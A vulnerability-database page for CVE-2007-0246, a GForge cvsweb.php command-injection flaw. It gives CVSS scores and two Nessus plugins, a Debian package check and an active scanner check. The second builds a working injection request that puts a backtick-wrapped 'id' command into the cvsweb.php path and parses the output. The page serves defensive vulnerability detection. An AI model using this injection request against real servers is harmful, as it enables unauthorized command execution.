Vulnerabilities > CVE-2007-0246 - Remote Arbitrary Command Execution vulnerability in GForge

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
gforge
nessus

Summary

plugins/scmcvs/www/cvsweb.php in the CVSWeb CGI in GForge 4.5.16 before 20070524, aka gforge-plugin-scmcvs, allows remote attackers to execute arbitrary commands via shell metacharacters in the PATH_INFO.

Vulnerable Configurations

Part Description Count
Application
Gforge
1

Nessus

  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DSA-1297.NASL
    descriptionBernhard R. Link discovered that the CVS browsing interface of Gforge, a collaborative development tool, performs insufficient escaping of URLs, which allows the execution of arbitrary shell commands with the privileges of the www-data user. The oldstable distribution (sarge) is not affected by this problem.
    last seen2020-06-01
    modified2020-06-02
    plugin id25301
    published2007-05-25
    reporterThis script is Copyright (C) 2007-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/25301
    titleDebian DSA-1297-1 : gforge-plugin-scmcvs - missing input sanitising
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Debian Security Advisory DSA-1297. The text 
    # itself is copyright (C) Software in the Public Interest, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(25301);
      script_version("1.14");
      script_cvs_date("Date: 2019/08/02 13:32:20");
    
      script_cve_id("CVE-2007-0246");
      script_xref(name:"DSA", value:"1297");
    
      script_name(english:"Debian DSA-1297-1 : gforge-plugin-scmcvs - missing input sanitising");
      script_summary(english:"Checks dpkg output for the updated package");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Debian host is missing a security-related update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Bernhard R. Link discovered that the CVS browsing interface of Gforge,
    a collaborative development tool, performs insufficient escaping of
    URLs, which allows the execution of arbitrary shell commands with the
    privileges of the www-data user.
    
    The oldstable distribution (sarge) is not affected by this problem."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.debian.org/security/2007/dsa-1297"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "Upgrade the gforge-plugin-scmcvs package.
    
    For the stable distribution (etch) this problem has been fixed in
    version 4.5.14-5etch1."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:gforge-plugin-scmcvs");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:4.0");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2007/05/24");
      script_set_attribute(attribute:"plugin_publication_date", value:"2007/05/25");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2007-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Debian Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("debian_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
    if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    if (deb_check(release:"4.0", prefix:"gforge-plugin-scmcvs", reference:"4.5.14-5etch1")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());
      else security_warning(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");
    
  • NASL familyCGI abuses
    NASL idGFORGE_CVSWEB_CODE_EXEC.NASL
    descriptionThe remote host is running GForge, a web-based project for collaborative software development. The version of GForge installed on the remote host fails to sanitize user-supplied input to the
    last seen2020-06-01
    modified2020-06-02
    plugin id25338
    published2007-05-26
    reporterThis script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/25338
    titleGForge CVSWeb CGI cvsweb.php PATH_INFO Parameter Arbitrary Command Execution
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(25338);
      script_version("1.25");
     script_cvs_date("Date: 2018/06/13 18:56:27");
    
      script_cve_id("CVE-2007-0246");
      script_bugtraq_id(24141);
    
      script_name(english:"GForge CVSWeb CGI cvsweb.php PATH_INFO Parameter Arbitrary Command Execution");
      script_summary(english:"Tries to run a command via GForge's CVS Plugin");
    
     script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a PHP script that allows arbitrary
    command execution." );
     script_set_attribute(attribute:"description", value:
    "The remote host is running GForge, a web-based project for
    collaborative software development.
    
    The version of GForge installed on the remote host fails to sanitize
    user-supplied input to the 'plugins/scmcvs/cvsweb.php' script before
    using it to execute a shell command.  An unauthenticated attacker can
    leverage this issue to execute arbitrary code on the remote host
    subject to the privileges of the web server user id." );
      # http://gforge.org/gf/project/gforge/scmsvn/
     script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c76a0805");
     script_set_attribute(attribute:"solution", value:
    "Upgrade to the latest SVN version as a fix for this issue was added
    with revision 6038." );
     script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
     script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
     script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
     script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
     script_set_attribute(attribute:"exploit_available", value:"true");
    
     script_set_attribute(attribute:"vuln_publication_date", value:"2007/05/24");
     script_set_attribute(attribute:"plugin_publication_date", value:"2007/05/26");
    
    script_set_attribute(attribute:"plugin_type", value:"remote");
    script_set_attribute(attribute:"cpe", value:"cpe:/a:gforge:gforge");
    script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
    
    
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("gforge_detect.nasl");
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_ports("Services/www", 80);
      script_require_keys("www/gforge");
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("url_func.inc");
    include("webapp_func.inc");
    include("data_protection.inc");
    
    port = get_http_port(default:80, embedded: 0);
    
    install = get_install_from_kb(appname:'gforge', port:port);
    if (isnull(install)) exit(0, "The 'www/"+port+"/gforge' KB item is missing.");
    
    dir = install['dir'];
    
    if (dir == "") dir = "/";
    
      # Get list of defined projects.
      w = http_send_recv3(method:"GET", item:dir, port:port);
      if (isnull(w)) exit(1, "the web server on port "+port+" failed to respond.");
      res = w[2];
    
      # If it looks like GForge...
      if (
        'title="Gforge - ' >< res ||
        '"Powered By GForge' >< res
      )
      {
        projects = make_list();
        pat = '<a href="/projects/([^/]+)/">';
    
        # nb: avoid missing projects that appear on same line as another.
        res = str_replace(find:"<br />", replace:'\n', string:res);
    
        matches = egrep(pattern:pat, string:res);
        if (matches)
        {
          foreach match (split(matches, keep:FALSE))
          {
            m = eregmatch(pattern:pat, string:match);
            if (!isnull(m)) projects = make_list(m[1], projects);
          }
        }
    
        # If we have a thread id.
        if (max_index(projects))
        {
          # Try to exploit the flaw to run a command.
          cmd = "id";
          i = 0;
    
          foreach project (projects)
          {
            # Only do at most 10 tests, unless the "Perform thorough tests" setting is enabled.
            if (!thorough_tests && ++i > 10) break;
    
            w = http_send_recv3(method:"GET",
              item:string(
                dir, "/plugins/scmcvs/cvsweb.php",
                "/`", cmd, "`/?",
                "cvsroot=", project
              ),
              port:port
            );
    	if (isnull(w)) exit(1, "the web server on port "+port+" failed to respond.");
    	res = w[2];
    
            if ("cvsweb.php/uid%3D" >< res)
            {
              # There's a problem if we see output from our command.
              line = egrep(pattern:"uid%3D[0-9]+.*gid%3D[0-9]+.*", string:res);
              if (line)
              {
                output = strstr(line, "uid%3D");
                if (output) output = output - strstr(output, "?cvsroot=");
                if (output) line = output;
              }
              if (line)
              {
                if (report_verbosity)
                {
                  report = string(
                    "\n",
                    "Nessus was able to execute the command '", cmd, "' on the remote host.\n",
                    "It produced the following output :\n",
                    "\n",
                    "  ", data_protection::sanitize_uid(output:urldecode(estr:line))
                  );
                  security_warning(port:port, extra:report);
                }
                else security_warning(port);
                exit(0);
              }
            }
          }
        }
        else
        {
          debug_print("couldn't find a project to use!", level:1);
        }
      }